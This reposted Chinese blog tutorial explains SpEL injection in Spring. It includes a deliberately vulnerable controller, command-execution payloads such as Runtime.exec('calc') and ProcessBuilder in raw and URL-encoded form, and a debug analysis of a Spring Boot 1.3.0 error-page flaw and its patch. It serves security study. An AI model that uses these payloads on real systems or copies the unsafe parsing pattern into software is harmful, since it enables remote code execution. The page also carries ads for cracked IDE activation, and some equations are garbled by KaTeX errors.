spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]使用parseExpression方法将字符串表达式转换为Expression对象;ParserContext接口用于定义字符串表达式是不是模板,及模板开始与结束字符;

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

pom.xml中添加

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.0.8.RELEASE</version>
</dependency>

测试

package com.example.demo.SpELTest;
 
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
 
public class SpELTest {
    public static void main(String[] args) {
        // 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
        ExpressionParser parser = new SpelExpressionParser();
        // 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
        Expression expression = parser.parseExpression("('Hello' + ' FreeBuf').concat(#end)");
        // 构造上下文:准备比如变量定义等等表达式需要的上下文数据
        EvaluationContext context = new StandardEvaluationContext();
        context.setVariable("end", "!");
        // 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
        System.out.println(expression.getValue(context));
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5HXXGZyp-1638411441416)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7H2DMwnJF8FLtDspCXP7At3UYbKawwmpXELMW0V7D8EibOhhzYhLGhWA/640?wx_fmt=png)]

SpEL主要接口

===============

1.ExpressionParser接口:表示解析器,默认实现是org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,

使用 parseExpression 方法将字符串表达式转换为 Expression 对象;ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;

public interface ExpressionParser {  
    Expression parseExpression(String expressionString);  
    Expression parseExpression(String expressionString, ParserContext context);  
}

事例demo

package com.example.demo.SpELTest;
 
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
 
public class ExpressionParserTest {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        // 此处定义了 ParserContext 实现:定义表达式是模块,表达式前缀为 #{ ,后缀为 }
        // 使用 parseExpression 解析时传入的模板必须以 #{ 开头,以 } 结尾
        ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getExpressionPrefix() {
                return "#{";
            }
            @Override
            public String getExpressionSuffix() {
                return "}";
            }
        };
        String template = "#{'hello '}#{'freebuf!'}";
        Expression expression = parser.parseExpression(template, parserContext);
        System.out.println(expression.getValue());
    }
}

spel表达式注入[通俗易懂]

2.EvaluationContext接口:表示上下文环境

默认实现是:

org.springframework.expression.spel.support 包中的StandardEvaluationContext 类。

使用 setRootObject 方法来设置根对象;使用 setVariable 方法来注册自定义变量;使用 registerFunction 来注册自定义函数等等。

3.Expression接口:表示表达式对象

默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression ,提供 getValue 方法用于获取表达式值;提供 setValue 方法用于设置对象值。

SpEL语法

  1. 类类型表达式:使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer);

使用类类型表达式还可以进行访问类静态方法及类静态字段。

具体使用方法:

package com.example.demo.SpELTest;
 
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
 
public class SpELTest1 {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        // 使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer)
        // java.lang 包类访问,不用全名
        Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
        System.out.println("result1:" + result1);
 
        // 其他包类访问,需要指定包名
        String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
        Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
        System.out.println("result2:" + result2);
 
        // 类静态字段访问
        int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
        System.out.println("result3:" + result3);
 
        // 类静态方法调用
        int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
        System.out.println("result4:" + result4);
    }
}
  1. 类实例化:类实例化同样使用 java 关键字 new ,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer 。

  2. instanceof 表达式:SpEL 支持 instanceof 运算符,跟 Java 内使用同义,如:

‘haha’ instanceof T(String) 将返回 true 。

  1. 变量定义以及引用变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义,在表达式中使用”#variableName”引用;

除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用”#root”引用根对象,使用”#this”引用当前上下文对象。

  1. 自定义函数:目前只支持类静态方法注册为自定义函数;

SpEL 使用 StandardEvaluationContext 的 registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。

SpEL测试

C:\Users\z\Desktop\java\SpEL\demo\src\main\java\com\example\demo\test.java

spel表达式注入[通俗易懂]

package com.example.demo;
 
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
 
@RestController
public class test {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input) {
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}

spel表达式注入[通俗易懂]

http://127.0.0.1:8080/spel?input=2*2

 
New java.lang.ProcessBuilder("calc").start()
http://127.0.0.1:8080/spel?input=new%20java.lang.ProcessBuilder(%22calc%22).start()
T(java.lang.Runtime).getRuntime().exec("calc")
http://127.0.0.1:8080/spel?input=T(java.lang.Runtime).getRuntime().exec(%22calc%22)

Linux

new ProcessBuilder(new String[]{"touch","/tmp/111"}).start();

spel表达式注入[通俗易懂]

真实漏洞分析

漏洞环境用的p神的javacon,将spring-boot-2.1.0替换为spring-boot-1.3.0即可

C:\Users\z\Desktop\java\SpEL\javacon\admin-panel\src\main\java\io\tricking\challenge\test.java

spel表达式注入[通俗易懂]

写个简单的demo来测试:

spel表达式注入[通俗易懂]

这里直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

spel表达式注入[通俗易懂]

这个环境中,如果是这种

http://127.0.0.1:8080/spel?payload=1*2

则不能解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gqccz8WC-1638411441424)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7299DogeFSCcWwQ0HaahzwkTdARvKjVlPHgPbxvdWlibKpWdZTb2nibsw/640?wx_fmt=png)]

调试

spel表达式注入[通俗易懂]

其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LTCnnsrl-1638411441426)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7ic6yacZmibcVdILWzOm4Zy4I5x0ofxh0aoq3NxHkjNH0udfo2AwXmgBA/640?wx_fmt=png)]

可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result。

跟进replacePlaceholders()

spel表达式注入[通俗易懂]

跟进parseStringValue()

spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]

这时可以看到,while循环中,循环解析xxx的表达式

例如第一个解析到 {timestamp} ,取出中间的值,然后通过 resolvePlaceholder() 函数进行spel解析

spel表达式注入[通俗易懂]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gDmqJqhv-1638411441430)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7kPLQch9IMsGDhfkBuALcZKWtcg4ZhR1H5dyVneWrKJetnbwssMsaHg/640?wx_fmt=png)]

下一个,error,一直到message

spel表达式注入[通俗易懂]

跟进

spring-boot-autoconfigure-1.3.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class#resolvePlaceholder()

spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]

处理message时,resolvePlaceholder函数中,value的值为输入的payload参数值,在返回时经过了一层HtmlUtils.htmlEscape,相当于是html编码。

返回到

PropertyPlaceholderHelper.class#parseStringValue()

值给到propVal

spel表达式注入[通俗易懂]

接下来就是递归函数,因为会存在 KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {
{1*2}} 的情况,所以在解析完一层过后会判断是否包含 ${} ,如果包含那么就会递归函数

换成

http://127.0.0.1:8080/spel?payload=KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {
{1*2}}

继续调试,直接来到这一步

spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWNWACgu-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7pExsiavhN19vZfj72FjDg2dgKflC1JNnuVT0ib1GXsvtqXv8aomvR7eA/640?wx_fmt=png)]

看到了吗,递归的小图标

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PsJp0pAR-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR74Via6r9FLUt4nA5tQJnG2PibGuyiaJOl51C0Kt7kRa12sVMayUNj5ogeQ/640?wx_fmt=png)]

递归处理

spel表达式注入[通俗易懂]

KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {
{1*2}} 变成 ${1*2}

spel表达式注入[通俗易懂]

再次进入parseStringValue()

spel表达式注入[通俗易懂]

spel表达式注入[通俗易懂]

${1*2} 变成 1*2

下边再次进入resolvePlaceholder()

spel表达式注入[通俗易懂]

解析表达式

spel表达式注入[通俗易懂]

修复

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析。

spel表达式注入[通俗易懂]

resolvePlaceholder的功能由代码看出,如果是第一次调用则正常执行resolvePlaceholder这个函数,如果此次调用类为NonRecursivePlaceholderResolver的话将会返回null

spel表达式注入[通俗易懂]


知识星球介绍:

一次付费 永久免费,到期联系运营即可免费加入】 星球面向群体:主要面向信息安全研究人员. 更新周期:最晚每两天更新一次. 内容方向:WEB安全|内网渗透|Bypass|代码审计|CTF|免杀|思路技巧|实战分享|原创工具

知识星球人员介绍:

spel表达式注入[通俗易懂]

知识星球二维码:

spel表达式注入[通俗易懂]

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/194788.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 我的收藏夹:)

    我的收藏夹:)

  • Java sdk安装及配置[通俗易懂]

    Java sdk安装及配置[通俗易懂]1.安装JavaSDK开发环境。首先去官网下载JavaSDK,http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html,下载完成之后,开始安装。点击下一步,安装完成。2.配置JavaSDK环境变量单击“计算机-属性-高级系统设置”,单击“环境变

  • 查看linux执行的命令记录_shell 调用history

    查看linux执行的命令记录_shell 调用history前言我们每次敲打linux命令的时候,有时候想用之前用过的命令,一般情况下,我们都会按↑↓箭头来寻找历史的命令记录,那如果我想用1天前执行的某条命令,难道还要按↑100次?显示这样是不现实的,我们可

  • error: failed to push some refs to ‘git@gitee.com:xxx/xxx.git’ 问题 解决办法

    error: failed to push some refs to ‘git@gitee.com:xxx/xxx.git’ 问题 解决办法原因分析:本地和远程的文件应该合并后才能上传本地的新文件解决办法:1.gitpullgiteemaster先拉下来,自动合并(类似于SVN的update)2.gitpushgit

  • vue todolist案例_nodejs mvc

    vue todolist案例_nodejs mvc1.应用模板下载:TodoMVC案例官网:http://todomvc.com如图下载模板:2.npm安装依赖通过nmp安装相关依赖,进入vscode,找到文件,右键点击在集成终端中打开,输入命令npmi进行安装;并且安装npmivue@2.6.103.引入Vue.js我们在app.js中编写Vue代码,所以要在app.js前面引入4.数据渲染4.1当任务列表(items)没有数据时,#main和#footer标识的标签应该被..

  • pycharm 常用快捷键_PyCharm快捷键

    pycharm 常用快捷键_PyCharm快捷键工欲善其事必先利其器,PyCharm是最popular的Python开发工具,它提供的功能非常强大,是构建大型项目的理想工具之一,如果能挖掘出里面实用技巧,能带来事半功倍的效果。我在Windows平台下的默认KeyMap设置,在Mac也是类似的。1、快速查找文件Ctrl+ECtrl+E可打开最近访问过的文件Ctrl+Shift+E打开最近编辑过的文件从Tab…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号